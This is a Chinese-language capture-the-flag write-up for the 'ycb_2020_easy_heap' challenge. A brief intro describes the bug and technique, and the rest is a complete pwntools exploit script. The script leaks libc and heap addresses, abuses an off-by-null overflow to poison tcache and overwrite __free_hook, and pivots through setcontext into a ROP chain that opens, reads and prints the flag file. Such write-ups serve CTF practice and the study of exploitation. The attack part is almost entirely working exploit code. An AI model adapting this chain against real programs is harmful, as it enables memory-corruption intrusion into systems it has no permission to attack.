off by null + 有 show 函数 leak + glibc2.30 沙箱,总共花了大概一个多小时,被 libc 文件卡了一下。
做完之后看了一下官方 Writeup,说是修改自 balsn ctf 2019 的 plaintext,使用 largebins 的残留指针来构造。这实际上对于有 leak 的题目是不必要的,对于这类题目我已经写过一篇很详细的文章,有兴趣的师傅可以先看看那篇 http://blog.wjhwjhn.com/archives/193/。
PS:glibc2.30 和 glibc2.31 和 glibc2.32 的 unsortedbin leak 的 libc 地址居然末尾三字节是一样的。
from pwn import *
elf = None
libc = None
file_name = "./ycb_2020_easy_heap"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("Choice:", str(idx))
def add(size):
choice(1)
sh.sendlineafter("Size: ", str(size))
def edit(idx, content):
choice(2)
sh.sendlineafter("Index: ", str(idx))
sh.sendlineafter("Content: ", str(content))
def delete(idx):
choice(3)
sh.sendlineafter("Index: ", str(idx))
def show(idx):
choice(4)
sh.sendlineafter("Index: ", str(idx))
sh.recvuntil('Content: ')
def pwn(sh, elf, libc):
context.log_level = "debug"
add(0x418) # 0
add(0x18) # 1
add(0x18) # 2
for i in range(0xB):
add(0xF8) # 3 - 13
delete(0)
add(0x418) # 0
show(0)
libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x1eabe0)
libc.address = libc_base
delete(1)
delete(2)
add(0x18) # 1
add(0x18) # 2
show(1)
heap_base = u64(sh.recvuntil('[+]Done!', drop=True)[-6:].ljust(8, '\x00')) - 0x6c0
log.success("heap_base:\t" + hex(heap_base))
for i in range(7):
delete(3 + i)
heap_11_ptr = heap_base + 0xef0
edit(11, flat(heap_11_ptr + 0x20 - 0x18, heap_11_ptr + 0x20 - 0x10, heap_11_ptr) + 'a' * 0xD8 + p64(0x100))
delete(12)
for i in range(7):
add(0xF8) # 3 - 9
add(0xF8) # 10 == 11
add(0xF8) # 12
add(0xF8) # 13
delete(10)
delete(12)
edit(11, p64(libc.sym['__free_hook']))
add(0xF8) # 10
add(0xF8) # 12 __free_hook
delete(13)
delete(10)
edit(11, p64(libc.sym['__free_hook'] + 0xF8))
add(0xF8) # 10
add(0xF8) # 13 __free_hook + 0xF8
pop_rdi_addr = libc.address + 0x26bb2
pop_rsi_addr = libc.address + 0x2709c
pop_rdx_r12_addr = libc.address + 0x11c421
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_r12_addr,
0x100,
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
libc.sym['read'],
pop_rdi_addr,
fake_frame_addr + 0x200,
libc.sym['puts']
]
gadget = libc.address + 0x0000000000154b90 #: mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
frame_data = str(frame).ljust(0xF8, '\x00')
payload = p64(gadget) + p64(fake_frame_addr) + frame_data[:0x20] + p64(libc.sym['setcontext'] + 61) + frame_data[
0x28:] + "flag\x00\x00\x00\x00" + p64(
0) + flat(rop_data)
edit(13, payload[0xF8:])
edit(12, payload[:0xF8])
# gdb.attach(sh, "b *" + hex(libc.sym['setcontext'] + 61))
delete(12)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())